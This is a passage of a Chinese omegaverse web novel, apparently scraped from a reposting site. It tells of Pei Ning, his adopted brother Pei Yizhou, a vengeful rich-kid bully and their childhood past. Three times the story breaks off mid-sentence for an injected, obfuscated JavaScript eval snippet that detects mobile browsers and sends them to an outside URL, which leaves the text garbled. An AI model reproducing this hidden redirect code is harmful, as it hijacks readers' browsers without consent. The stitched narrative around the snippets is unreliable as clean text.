“他都来了的话,那退学这种事不可能了吧,顶多下个处分口头警告一下什么的,我记得今年学校新建的宿舍楼邱氏还投钱了。” “唉,他们这种大少爷投胎技巧也太好了,干这么多坏事都有人保。” “谁知道呢,说不定回头还要阴沟里翻船。” 说着说着,他们就开始跑题,转而插科打诨起来。裴宁就在一旁拄着下巴静静听着,时不时应两声。要是裴亦舟在这,准能从他脸上看出高兴得意的味道。 谁让他要欺负哥哥,活该! “你就是活该!”邱渐横眉竖目,气得握方向盘的手都在抖。 邱方明坐在边上不敢说话,只低着头,一声也没敢呛。 “上大学之前我就说了,你要收敛,少惹是非。你倒好,开学还没两个月,一件坏事不落全做了!现在连那些东西都敢碰!要是让爸知道了我看他不打断你的腿!”邱渐气急,就差亲手把这个不成器的弟弟揍一顿。 邱方明被这么数落了一大通,气性也压不下去了:“我当时就碰了一点,他们都说让我试试,我要是不理......那哪下得来台。” “啪!” 邱渐忍无可忍,一巴掌直接甩到了邱方明脸上。 他也是alpha,手上力道大,邱方明登时被打得偏过头去,脸上直接浮出了几道红痕。对面哪怕是他爸他都要还手,但偏偏是邱渐,这个从小看着他长大,对他最有压制力的alpha。 “哥......”邱方明双目通红。 “接下来你就给我好好待在家里,这次只是一个处分我还能帮你遮掩过去,要是还有下次,你是死是活我都不会再管!”邱渐自己平日里也算是见多了极品,但像自己弟弟这样屡教不改的人,他还是第一次见。 “这事要不是有人去那个校园墙上投稿,能闹这么大么!哥你帮我查啊,让我知道是谁抖落出去的看我不整死他!”邱方明脸上火辣辣的痛,他一想到那个校园墙就恨得牙痒痒。 徐成如,这个成事不足败事有余的家伙到底在干什么?! 看着邱方明死性不改的样子,邱渐彻底无语了。他实在费解,家里的基因都还算正常,怎么能生出这样一个猪脑子的alpha。 他累了,不想再多费口舌,于是只是停了邱方明的卡把他扔回了家里,并叮嘱管家不要把他放出去,随后便急匆匆回了公司。邱方明到底是他亲弟弟,这件事他还得想办法压下来,以免影响了邱氏集团的股价。 虽说被教训了一顿,但邱方明哪里会就这么甘心。他掏出手机,直接打了徐成如的电话。 “嘟嘟——”不接。 “嘟嘟嘟——”还是没人接。 电话冰冷而机械的声音更像是一盆热油,直接倒到了邱方明头上。 “不接是吧,拿了我的钱还敢把事情搞成这样,胆子真不是一般肥。”邱方明面目狰狞,划开通讯录又播出了另一通电话。 “嘟——” 实验室,徐成如看着标了“邱少”的来电根本不敢接。 他现在就像热锅上的蚂蚁,就差急得跳脚了!那天被裴宁威胁过后他想过很多后果,但没想到裴宁竟然会弄这么一出。 要死了要死了。 徐成如咬紧牙关,一下课就披上外套离开了实验室。 但是不知道是不是他的错觉,他总觉离开时得班里的同学似乎都在看自己,嘴里还窸窸窣窣地说着什么。 他们在说什么? 徐成如敏感的神经在此时绷到最紧,他用余光四下瞟,但接收到的视线里却带着轻蔑和不屑,像是在看什么垃圾。 怎么回事,怎么回事?徐成如脚步更快,几乎是飞一般离开了校园。 而这时,手机又响了。 他呼吸一滞,拿起来后才发现不是邱方明。 下意识地松了一口气,徐成如打开手机,但映入眼帘的信息却让他全身上下的血液顷刻凝滞。 【老徐,你看那个校园墙了吗,我不知道是真是假......就是,你还是去看看吧】 校园墙?什么校园墙! 徐成如现在几乎都要对校园墙三个字ptsd了!他不假思索,直接点开了那个熟悉的头像,而此时置顶的朋友圈已经换了新料,发布时间是十五分钟之前。 投稿,外校omega怀孕,不负责任,宁大大二降转生物医学,徐姓alpha。 虽然没有指名道姓,但这上面清晰的信息已经几乎是在报他的身份证了! 这条朋友圈下面的评论区再度爆炸,而与此同时一道爆炸的,还有徐成如的微/信。 【那个徐姓某人是你吗?】 【你真的强迫你女朋友去引产啊,你竟然是这样的人?】 【看你们聊天记录,你这人pua玩的很溜嘛,人不可貌相啊】 【徐同学,有空的话麻烦来一趟导员办公室,之前的评优可能还有些问题。】 徐成如彻底僵在原地,周围的世界都爆裂开来。 裴宁......是裴宁!!!他不是答应了自己不往外说的吗?不对,那天他从来没说过那样的话,该死的,自己被玩了! 徐成如怒急攻心,但还没来得及回过神,就被一只手拽住直接拖进了一边的小巷子里。 昨天刚下过雨,这会儿空气中潮气未褪,湿的很,而这条老不起眼的旧巷地上满是污泥,肮脏不堪。 那只隔空伸来的手力道颇大,徐成如根本无法防备,直接被拽倒在地上。他嗬嗬地喘着气,头顶阵痛过后艰难仰头,这才发现自己竟被四五个人团团围住。 “你、你们是谁?”徐成如结结巴巴。 “我们?我们是邱少的人。” 徐成如瞳孔骤然一缩,为首的男子根本没给他反应的机会,直接上前扯住了他的头发,然后把一个手机贴到了他耳边。 “徐成如。”邱方明阴冷的声音响起。 徐成如冷汗唰一下就下来了:“邱、邱少。” “那个校园墙是你的号吧,我给你机会,现在解释。” 徐成如这下哪里还敢隐瞒,哆嗦着就把那天发生的事情像倒豆子一样说了个干净。 “邱少,都是裴宁干的啊,这真和我没关系,我也是受害者啊!”他说着说着还哭了出来,真情实意的不行,只可惜邱方明看不见,表演效果大打折扣。 指尖的烟余雾袅袅,坐在沙发上的邱方明面色阴沉,喃喃道:“裴宁,又是他。” “邱少,这个人怎么处置。”打手问。 听见徐成如那么一通辩解,邱方明的气莫名其妙散了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077744|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少,转而变得有些诡异,他知道——自己这是较上劲了。 裴宁。这个人三番两次打乱他的计划,虽说哥哥的叮嘱还在耳边,但邱方明却怎么也消解不了那种渴望报复的冲动。 “不用管了,回来吧。不就是十五万吗,我就当买个教训喂狗了。”邱方明冷哼一声。 徐成如这样的小喽啰不值得他多费心思,要是让邱渐知道了,反而又要大发雷霆,既然如此,他就发发善心,放过这家伙好了。 至于裴宁......邱方明眸色愈暗。 他不是很想保护好裴亦舟这个没用的omega吗?那自己偏要对他下手,邱方明就不信了,裴宁还能时刻寸步不离,次次料事如神不成。 看着眼前的打手散去,徐成如跳到嗓子眼的心脏终于缓缓落回原位。 他害怕到极点,心焦、慌乱难以言喻。那个投稿虽然没有说明alpha是他,但也没有太大区别。自己的评优算是彻底泡汤了,去年一年的努力,还有那十五万,这下全部打了水漂! 徐成如所有的情绪瞬时转化成了对裴宁的恨意。 他几乎是想要不择手段的进行报复,不论什么方式,只要能让裴宁付出代价,他都可—— “嗒。” 屋檐上的水滴从高空坠落,绽开一簇污脏的水花。 一只黑色皮鞋进入了徐成如的视野。 徐成如一怔,愕然抬头。 目光上移,他看见风衣黑色的衣摆,暗纹点缀的领带,还有,一张对他而言不算陌生的脸。 ——裴亦舟! 徐成如心脏突突狂跳,不知为何,眼前人给他带来的震慑竟然比刚才那几个打手还要严重,他手掌撑地,下意识往后挪了几寸。 大脑一片空白,徐成如只记得邱方明说过,裴亦舟不过是个手无缚鸡之力的omega。 对!他不过是个omega,自己有什么可害怕的! 他眼珠子一转,刚想站起来。而几乎是下一个片刻,裴亦舟动了,干脆利落的当胸一脚直接将徐成如踹进巷角。 “嗙——”□□撞击墙面,震下一片残余的水珠。 “啊!”徐成如痛呼出声。恍惚间他都要以为自己的肋骨断了。 只是一脚吗?徐成如冷汗淋漓,他怎么感觉这个男人根本没有用力? 这是omega该有的力量吗,这不对吧,这不对...... 他已经泞成浆糊的大脑飞速运转,想要思索出个所以然,但裴亦舟压根没给他这个余地。高挑的男人面不改色,仍是那一张冷面,伸手拽住徐成如的头发,将他狠狠撞到了身后的石墙上。 “砰!” “偷拍的人,是你吧?”裴亦舟问。他神色分毫未动,眼底却满是狠厉。 徐成如骇然睁大眼,后脑勺的疼痛在此刻被未知的恐惧遮盖。 “是,是我!”他哪里还敢狡辩,只一心想找机会逃出去。 但不过稍一放眼,他就看见巷子口还隐约站着几个黑影。那都是裴亦舟的人。 暴力似乎让裴亦舟的心情都变得更舒畅,他唇角微扬:“同学,你现在想去找谁?裴宁吗。” 徐成如猛烈摇头,不绝于耳的呜呜声从喉咙里争先恐后被挤出。 “去找他干什么,想报复?” “下定决心了吗,真的要去吗,能成功吗。” 那宛如恶魔低语般的声音接连落下,徐成如不知为何,只觉得后颈的腺体突然开始钻心的痛,完全没了挣扎的力气。 信息素压制!怎么会,一个omega怎么会带给他这么强烈的信息素压制? 难道他——徐成如不敢深想,只是满眼惊骇地看着裴亦舟。 裴亦舟还是那副衣衫整齐的模样,他松开手,笑着直起身,黑而锃亮的皮鞋沾到了一些泥土溅开的污渍,变得没有那么完美。 “我会一直看着的,如果你敢动念头——” 他语调稍缓,像是调整自己又回到了omega的身份,温和道:“邱方明不敢真的下死手,那你猜猜,我敢吗?” 15. 不会拒绝 宁江大学最近爆出的两个猛料可谓一石激起千层浪,引得周围其他高校都纷纷侧目,一时之间热闹至极。 而身处旋涡中心的两个人到最后都吃了处分。 邱方明目前还被邱渐关在家里没法出来,徐成如倒是没办法,只能硬着头皮来上课。 裴宁原以为这人会十分记恨自己,但不知道为什么,徐成如现在居然对自己可谓是避之不及,就连偶尔不小心碰见都要脚底抹油马上溜走。 裴宁纳闷,却不觉得这是坏事。 最起码从现在的结果来看,这个让裴亦舟名誉受损的剧情点算是安稳度过了,只要哥哥没有受到影响,那对裴宁而言就是最好的结果。 他算了算时间线,接下来暂时没什么大剧情,因而放松不少,每天不是在上课就是在小乐团参加排练。 下个月宁江大学的乐团要外出参演,乐团的老师都很看重,也对裴宁寄予了厚望。裴宁倒也不觉得压力大,他喜欢音乐,大多数演奏都让他觉得乐在其中。 只是......裴宁很想裴亦舟也能参加。 上一次和哥哥合奏已经是很久之前了,那时候裴宁在家里的琴房弹钢琴,裴亦舟就在一旁拉小提琴。宋月黎和裴松墨会放下手头的工作,搬着凳子来捧场欣赏,在演奏结束之后为他们送上掌声和阿姨刚准备好的水果。 那是一段裹着糖壳的回忆,对裴宁而言有着非凡的吸引力。 “所以,裴学长是你的亲哥哥吗?”休息时间,越思易凑过头问。 之前校园墙事件爆发后,邱方明参加小乐团的名额就被收了回去,到现在都没再出现过。既然没了邱方明这个“情敌”做导火索,越思易的害人动机也就不成立了,这么一来,和他做个朋友也没什么不行。 听见他这么问,裴宁说:“我们俩没有血缘关系,但是一块儿长大的,和亲兄弟也没什么区别吧。” “这样啊,”越思易恍然大悟,“话说你刚才在想什么,怎么这么专心。” 裴宁顿了顿:“我在想哥哥能不能也来参加演出,但他最近太忙了,大概没时间。” 发觉裴宁有点郁闷,越思易马上说:“那你去问问他啊,裴学长那么温和的人,总不会拒绝弟弟的请求吧。” 裴宁想想也是,从小到大哥哥确实没拒绝过自己什么,于是晚上一回去,他就直接问出了口。 “表演吗,大概在什么时候?”裴亦舟问。 “下个月初,好像是七号吧。” 裴亦舟甚至没有打开手机看一眼日程,“我有空的,只是可能没那么多时间去排练。” “这个应该没问题,那首歌我们以前一起练过的!”裴宁瞬间充满电,“回头我和老师说一声,他肯定很乐意。” 裴宁兴奋的时候就想小鸟一样叽叽喳喳个不停,裴亦舟侧目,藏在镜片底下的神色温和流转,他摸了摸裴宁的脑袋:“就这么开心?” “能和哥哥一起演奏难道不值得我开心吗?”裴宁反问,顺便附赠了几句算不上埋怨的埋怨,“你上大学之后都不怎么回来,我都记不清多久没和你一起进过琴房了。” “嗯,是哥哥不好,以后一定注意。”裴亦舟笑笑,任凭裴宁数落。 裴宁在沙发上翻了个身,直接把头枕到了裴亦舟的膝盖上。额前棕色的头发顺着地心引力往下滑,将裴宁一整张脸完整地露了出来,密实到有些毛茸茸地睫毛上下扇动,微风就这么吹到了裴亦舟的胸腔里。 “哥哥,你什么时候带我去你们公司看看,我还挺好奇的。”裴宁问。 他确实好奇,那可是他哥哥自己拼出来的事业,裴宁每每想起就会生出一种与有荣焉的感觉。因而回顾原书剧情时,只要一看到裴亦舟被人那么磋磨,裴宁才会分外生气。 裴亦舟的手放在沙发上,手背被裴宁的发尾触到,略微有些痒。 “你想去的话什么时候都可以,最近学业很忙吧,回头哥哥请你吃顿大餐。” “好啊,那就这么说定了。” 客厅的灯光明亮,坠在天花板中央那盏灯是是抽象的花苞形状,看起来很简约却不失温暖。 橙黄的灯光像日落的光线,裴宁仿佛只是盯着它眨了眨眼,时间就倏忽而过。 黄昏日落投照到街道上的时候,裴宁霸占了裴亦舟的办公椅,盯着头顶的天花板转了几个圈。 他在裴亦舟的公司里待了一天,也肆无忌惮地玩了一天。 从裴宁这一代往上数,除了裴宁爷爷就没有经商的人,小时候裴宁每次跟着爸妈出门都被要求收敛,裴松墨的职务特殊,裴宁作为孩子也得注意言行,这不能做那也不能做。 但裴亦舟从不会约束他什么,只要裴宁喜欢,裴亦舟都无条件支持。 大概是小时候总爱和宋月黎撒娇,裴宁长大后也是个嘴甜的,哪怕第一次进裴亦舟的公司,他依然见着谁都能夸上两句。 “助理姐姐,你的卷发好洋气啊,这是什么卷度啊,下次我推荐我妈妈也去试试。” “哥,你们公司装修风格真好,这设计的也太有水准了,每个工位的隐私性都很好诶。” “下午工作这么长时间多辛苦,要不我叫个甜点吧,吃甜食心情好!哥哥你还记得上次那家甜品店吗,他们的千层蛋糕味道特别好。” 裴宁说罢,直接点了整整两外卖箱的蛋糕到公司。裴亦舟也不阻止,就看着裴宁给工位上的人一个个送了过去。 他长的显嫩,本也年轻,虽然是老板的弟弟但身上没什么架子,两句话就能和人打成一片。裴亦舟的公司创立时间不久,上下级关系没有太严格的分界,因此整个公司的氛围都很和谐,裴宁待到下班的点才和裴亦舟一道离开。 夜晚,裴亦舟挑选的餐厅很有格调,口味偏向西餐。 “累不累,周末还出来一整天,这会儿估计想睡了吧?”裴亦舟瞧见裴宁打哈欠,眼泪都要漫出来了。 裴宁摇摇头,说没有。他也就稍微有一点点困而已。 裴亦舟笑笑,站起身走到裴宁身边想要帮他把外套挂起来,但刚拎到手里就觉得触感不对,他指尖轻动,很快触碰到了一个硬硬的小盒子。 “啊,等一下!”裴宁后知后觉。 迟了。 裴亦舟没把东西拿出来,只是把外套递还回去,温声问:“放了什么?” “其实也没什么,”裴宁原本打算吃完饭再拿出来的,“就是给你准备了一个礼物。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077745|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他说着,把那个小方盒从口袋里拿了出来。裴宁抿唇,有些紧张地犹豫了两秒,这才放到裴亦舟手里。 裴亦舟打开,里面是一对漂亮的玛瑙袖扣,玛瑙上头嵌了几条金线,浑圆的形状像是地球,而那几条含蓄的金线正像是球体的经纬,看起来很有创意。 “哥哥喜不喜欢。”裴宁笑意盈盈,满眼期待。 裴亦舟动作珍惜,看了好几眼才舍得将它合上:“当然喜欢,怎么突然想到要送我礼物,不会把你的金库都掏空了吧?” “怎么会,我金库才没那么容易见底,我有钱,”裴宁哼哼了两声,“不过,这个袖口是我拿高中的奖学金买的,在此之前它完全属于我,现在它就完全归你啦。至于礼物么,之前哥哥你回来的时候不是给我带了礼物吗,这是我的回礼。” 和裴宁待在一块儿总能收到各种各样的小惊喜,裴亦舟知道。 “我觉得这个配白衬衫可好看了,哥哥你回头多戴戴,肯定很合适。”裴宁努努嘴,示意裴亦舟千万不能让它落灰。 “好,我一定多戴。”裴亦舟的心被蜜糖裹了一层,说不出什么滋味。 裴宁分外关注这件事,又不放心地多提了几句,生怕裴亦舟把它束之高阁。 他们说话的功夫,服务员就将菜品上了一桌,裴宁放眼看去,就没有他不爱吃的。 每次只要和裴亦舟一块儿吃饭,裴宁的食欲都会急速飙升。可能是因为哥哥的脸非常赏心悦目,也可能是因为小时候总是由哥哥盯着自己吃饭,所以裴宁不自觉养成了这种习惯。 “对了,妈妈昨天还跟我说让你多打几个电话回去。”裴宁用勺子舀起甜品一角塞进嘴里,“她着重批评了你不着家的行为,并且威胁你,等到过年的时候要扣你压岁钱。” 裴宁语气故作凶狠,拿腔拿调的。 裴亦舟失笑:“知道了,我回头亲自给阿姨请罪。” 说到这事裴宁忍不住嘟哝两句:“爸妈很想我也很想你,说实话,我以前也没离家这么久过。回头有空的话我们就悄悄回去一趟,就当给他们个惊喜怎么样?” “都听你的。”裴亦舟没意见,心下柔软。 他清楚知道自己曾是被抛弃的存在,就来去往枫京也不过场是无人在意的豪赌。但这七年对他而言着实不同,裴宁他们很好,活生生的,带着裴亦舟以前从未见过的热度,每每靠近接触,都让他觉得熨帖温暖。 袖口被裴亦舟收起,侍应生上到裴宁身前的那一碗奶油蘑菇汤盛得格外满,晃晃荡荡就快要溢出,最后在餐垫上放稳,还不小心溅了几滴到裴宁的胳膊上。 裴亦舟看见,下意识拿起桌边的纸巾帮他擦去,全程就像是有肌肉记忆那么熟练。 胳膊上的汤渍被擦干净,裴宁恍惚着想到了些以前的事。 其实裴亦舟刚来枫京的头一年和裴宁并不亲近。那会儿他人生地不熟,心里头跟块冰一样冻得死死的。又因为刚分化时受到巨大刺激,因此信息素不稳定,时常高烧恶心,整日里恹恹的,怎么都提不起劲。 裴宁倒是爱粘着他叫哥哥,但裴亦舟却给不出什么回应。 而等到两个人的关系真正开始变得亲密,已经是第二年初了。 16. 虫儿飞 裴宁是个乐天的性子,整日笑呵呵的,没什么烦恼,也不懂忧愁。 宋月黎养他养的精细,裴松墨面上看起来严肃板正,实际上也是个宠孩子的,和其他人差不离。所以裴宁从小什么都不缺,如果非要说还有什么心愿,那就是想要爸妈给自己再生个哥哥姐姐。 这种事没人能做到,也正是因此,裴宁对裴亦舟这个从天而降的哥哥稀罕的不得了。 裴亦舟落地枫京那天坐的是私人飞机,前去接机的裴宁紧紧地牵着宋月黎的手,睁大眼睛看着从飞机上走下来的人——高高瘦瘦的,拖着个行李箱,除此之外什么都没有,看起来很孤单。 他长得可好看,但眼神里却没精气,望过来黑洞洞的,像黑玛瑙。 宋月黎弯腰摸了摸他的脸,告诉他:“小宁等会儿要记得叫哥哥。这位是亦舟哥哥,知道了吗?” 裴宁目不转睛地看着,心里想:舟,那不是小船吗? 等到这位哥哥走近,他耸了耸鼻子忽然眼睛一亮:“妈妈你闻到了吗,木兰花好香啊!” 现在是大夏天,木兰的花期早就已经过了。再说了,这偏僻的私人机场附近哪来的木兰花? 众人不解,还是裴松墨最先回过神。他蹲下身,和裴宁平视,神色不太平静:“小宁,告诉爸爸,你能闻到是吗?” 裴宁重重点了下头。 那还是裴宁生病之后第一次闻到别人的信息素。那气味并不浓重,淡淡的,很香,似乎是从很远的地方慢慢飘过来的。 从那里头裴宁甚至可以捕捉到裴亦舟当下的的情绪——烦躁、不安,期间夹杂着一种很锐利的情感,裴宁无法描述,只觉得并不舒服。 小船哥哥怎么了?裴宁已经自动为这位“哥哥”生成了称谓。 来不及多想,一回到家,裴宁立马成了裴亦舟的小尾巴,去哪都要跟着,拽也拽不开。 他是快乐惊喜的,裴亦舟这个外来客却不然。 裴亦舟作为刚分化的omega,腺体极其不稳定,并且由于信息素等级过低,还引起了许多并发症。 这些症状本不应该那么严重,但放在他身上却格外可怕。到枫京半个月,他几乎没出过门,整日躲在房间里裹着被子被分化后遗症反复折磨,大多数时候谁也不想见。 除此之外,裴亦舟的领地意识很强,甚至强的不太像omega。他抗拒旁人进入房间,也抗拒旁人同他亲近。 裴宁虽然人小,但脑袋却不笨。他听见家庭医生说“高烧”“抽搐性腺体疼痛”“失眠”,也清楚知道哥哥身体不舒服,所以没有打扰过哥哥养病。 那年盛夏格外炎热,花园里的花草树木都繁茂,长得蓊蓊郁郁。林夏每周都会准时上门授课,裴宁一见着人就撒娇卖乖,林夏还以为这个小机灵鬼想做什么,结果只是缠着自己学口风琴。 林夏拗不过他,只好教了。 下午日头渐落,阳光和煦,铺洒进来照得琴房里满地金光,耀目夺人。而裴宁刚学会口风琴就迫不及待推开了朝南的窗户,他搬过小板凳站上去,冲着窗外有模有样地吹起了《虫儿飞》。 这是他最喜欢的儿歌,琴房的窗户离哥哥房间很近,大概是能听见的。 以前自己身体不舒服妈妈总爱哼歌来哄他,现在哥哥不舒服,自己也可以这样照顾他,裴宁如此笃定地想着。 风琴的声音悠悠散出去,一半分给了花园的风,只有伶仃的琐碎能飘转落进裴亦舟的房间。 长久紧闭的窗帘被一只满是青筋的手拉开一条缝隙,久违的阳光钻过狭窄的通道投射进来,照亮卧室一角,照透空中没有定所,被迫停驻的尘埃。 裴亦舟这么一病,就是大半年。次年开春,万物萌发,他的身体终于好转。 而裴宁对待裴亦舟的态度,也从刚开始的小心谨慎逐渐发展到后来的肆无忌惮。他主动出击,甚至在日复一日的坚持中获得了裴亦舟房间的自由出入权。 裴宁可得意,今天端盘水果,明天拿个蛋糕,改天又按宋月黎叮嘱,捧着一碟子刚出炉的黄油小饼干投喂裴亦舟。 起先裴亦舟总是拒绝,语气也硬巴巴:“不要,你拿回去。” 他扭开目光,微长的黑发遮住了眼底的情绪。 但裴宁是什么人,他在爱里长这么大,撒娇那一套早已浑然天成。 裴亦舟的“不要”刚说出口,他就抿起嘴巴,仰脸眨巴着眼看过去。他走也不走,就站在原地,脚下跟生了根似的。 “哥哥真的不要吗?那小宁端下去好了。”裴宁沉得住气,眼睛都快成荷包蛋了,才可怜兮兮开口问。 受不了。 投降。 裴亦舟犟不过三秒就败下阵来。 而好事得逞的裴宁则会扑倒他床边,乖巧的脸上满是笑意。 虽然哥哥刚开始看起来有点凶,但其实很温柔啊,而且还特别香贴别好闻。裴宁蹭着木兰的香气在心里嘀嘀咕咕。 后来裴亦舟的腺体在裴家的精心照料下逐渐稳定,为庆祝哥哥痊愈,裴宁准备了个惊喜——一只雪白漂亮的萨摩耶。 小狗刚来的时候小小一团,但特别能吃,没几天就大了一圈,整日活蹦乱跳好不可爱。于是裴宁给小狗起名叫“明天”,寓意是哥哥的明天要越来越好。 裴宁年纪小,精力总是旺盛到无处安放,没事就拉着裴亦舟一块儿遛狗,给他唱歌弹琴,邀请他参观自己的卧室、琴房,以及一切私人领域。他拿出自己最宝贝最喜欢的东西分享,全心全意毫无保留。 而另一头,受人之托,忠人之事,裴松墨也为裴亦舟安排好了学校。 那是枫京最好的初中,离家不远,每天上下学都由专门的警卫接送,十分安全。 裴宁还在读小学,放学更早,一回家就在草坪上和明天扔飞盘,等到裴亦舟也回来了,两个人就一块儿逗小狗。 萨摩耶的眼睛很圆,很黑,像是乌亮的玛瑙,看人的时候真诚热切,满怀期待。 裴宁原以为明天会陪自己和哥哥一起长大——但是后来,明天死了。医生给出的结论是误食除草剂。 它躺在花园的正中央,四肢僵硬,往日总会热情甩动的尾巴此时也没了声息。 明明早上还好好的...... 裴宁抱着裴亦舟哭的上气不接下气:“我、我以后都不养小狗了......我只要明天就够了。” 裴亦舟没哭,眼睛却红得吓人。他摸摸裴宁的头,说好。 而就在明天离开的那个晚上,裴亦舟迎来了第一次发情期。 omega专用的抑制剂在他身上似乎完全不起作用,那样煎熬的高热,裴亦舟只能独自捱过。他被烧红了眼,青筋迭起,又像当初那样抗拒所有人的接近。他像头不安的困兽,蜷紧身体,意识不清地独自舔舐。 裴宁知晓后一声不吭,到了半夜却趁所有人不注意偷偷溜进了裴亦舟的房间。 他忙前忙后,打湿毛巾、倒水、拆抑制剂。虽然这些不过是杯水车薪,但裴宁还是做的很认真。 并且,这次哥哥似乎并不抗拒自己的接近。 裴宁笨手笨脚地把毛巾敷到裴亦舟的额头上,刚想去找点冰块儿,就被裴亦舟拉住了手腕。 “小宁......” 这是哥哥第一次这么叫他,裴宁意外地睁大了眼。 他急忙小声问:“怎么啦哥哥,是不是哪里不舒服?我去帮你叫医生过来吧,他今晚就在楼下。” “我没事,不要忙了,回去睡觉吧。”裴亦舟眼皮都烧红了,嗓音干涩,“过去了就好了。” 大概是生病太久,裴亦舟的手腕很细,没挂什么肉。 裴宁怎么会答应,他打定主意,眼眶红红的:“我才不要,我就要留在这照顾哥哥!” 裴亦舟伸手捂着脸,没说再让他离开的事,只是重重地喘息,任凭疼痛蔓延,“咳咳,明天......明天我们去把它埋了吧。” 不知道是不是错觉,裴宁恍惚间看见哥哥指间划下了几颗晶莹。他点点头:“好,我要给它选一块最好风水宝地,下辈子它一定要过得更幸福!” 时间嘀嗒而过,转眼已是午夜。 裴亦舟是被烧得睡不着,裴宁则是强撑眼皮坚持。 “哥哥,你有没有想吃的东西,我去楼下给你拿点吧。”他说完就打了个哈欠,扒在床沿边上的手也往下滑了一截。 “没事,哥......哥哥不饿。”裴亦舟对自己的称呼很生疏,似乎是在努力习惯,“上来床上睡吧,现在很晚,你还在长身体,该睡觉了。” “那哥哥有什么需要一定要叫我,”裴宁半阖着眼翻上床,拱到裴亦舟身边紧紧挨住,语气倒还挺凶,“不准什么都不说。” 裴宁昏昏欲睡,就在跌入梦境的边缘,他似乎听见了裴亦舟的声音。 那像是某种请求。 “小宁......明天,能再吹一次《虫儿飞》吗。” 也不知道是不是裴宁的功劳,等到后半夜,裴亦舟的烧就退了下去。 发情期有惊无险地过去,明天也被埋葬入土,那是一块很贵很贵的墓地,还是裴宁掏自己的压岁钱买的。宋月黎原本想帮他付掉,但裴宁说什么都不肯。 而在此之后,裴宁再没有养任何小动物。 裴亦舟的生活彻底回到正轨,而裴宁不论去哪都要拉上他。 他带着裴亦舟在枫京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077746|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱逛,走街串巷,吃冰糖葫芦和烤鸭,带着他认识自己身边的好友,挨家挨户打家劫舍,也带着他一起上音乐课,一块儿合奏,时不时玩四手联弹的游戏。 裴亦舟在这个过程中总是话不多,但他从不拒绝,任由裴宁安排。 宋月黎刚开始还担心过,两个半大孩子在外边野会不会有什么危险。但是后来她发现,每次离家,裴亦舟都把裴宁照顾得很好。 那会儿裴宁的朋友们还调侃过,说他这从天而降的哥哥简直像保姆一样,也忒无微不至。 裴宁有自己的判断力,他知道说这话的人无心,不过是玩笑。但偏偏就是对着这句玩笑话,向来和气的他较起了真。 他从没把裴亦舟看做是自己的保姆,这样的念头他想都没想过。 在他看来,那些照顾本就是亲人之间该有的,就像他知道爸爸妈妈的喜好,知道外公什么时候会犯风湿,也知道出门时刻带着裴亦舟阻隔贴,以防万一,那都是亲人的责任。 但不知为何,裴宁下意识里总觉得哥哥似乎对外界不太有热情,像是缺了点什么,但具体的又说不上来。 于是啊,他高三那会儿左思右想,满脑子都是那陌生的城市。他担心裴亦舟离他们太远会受伤,也担心他一个人外面没人照顾。 到最后那点本就不多的犹豫被清空,裴宁心一横,不管不顾地改了第一志愿。枫京大学被勾掉,取而代之的,是另一座陌生的学校和城市。 时间到了现在......幸好他来了。裴宁从未如此庆幸。 晚餐结束,他们下楼后却碰到了意料之外的人。 只见邱方明搀着一个omega从饭店里走出,那个omega摇摇晃晃,看样子是喝醉了。 此时的邱方明倒是一改往日的趾高气昂,稍稍放下姿态,搂住那个omega问:“嘉嘉,你现在好点了吗?还有没有哪里不舒服?” 章嘉抬眼就看见邱方明关切的脸,登时眼前一黑,反胃感上涌,冲到路边不管不顾地吐了个昏天黑地。 “嘉嘉!”邱方明连忙追过去,“要不要我帮你买点药,你说你,去和那些人喝什么酒,你要是真想要那单生意就和我说嘛,就是点小事。” 吐完的章嘉清醒不少,冷笑一声:“是,你是大少爷,你想要什么都能轻易得到。” “但我不需要。”他直起身,抹了把脸,回头的时候正好看见了裴亦舟和裴宁。 章嘉一愣,随后还是点了点头,权当招呼。 他和裴亦舟打过交道,确实也几个项目落到了裴亦舟手里。但生意场上交锋都是看本事的。既然他不如人,那就算了,总归还有其他的出路。 章嘉没把这些放心上,但一旁的邱方明却会错了意。 他今天好不容易才磨软了邱渐,终于让他把自己从家里放了出来。 结果一出门就看见自己的老相好宁愿把自己喝成人不人鬼不鬼的样子都不愿意低头,转眼又遇上了和自己有过节的裴宁,以及没吃到嘴的裴亦舟。 邱方明心里那个烦啊,像火烧一样,怎么也熄不了。 裴宁早早拉着裴亦舟走了,回到车上他才问:“刚才那个omega是谁啊?” 裴亦舟报了一个公司的名字,这也是近来兴起的:“他是老板,之前竞标败给过我们。” 裴宁恍然,点了点头。 他觉得方才邱方明的眼神不大对劲,但他在脑子里检索了一遍,原书确实没提到过“章嘉”这个名字。 裴宁留了个心眼,暂时将疑窦压了下去。 目送章嘉离开之后,邱方明也去酒吧大喝一场。 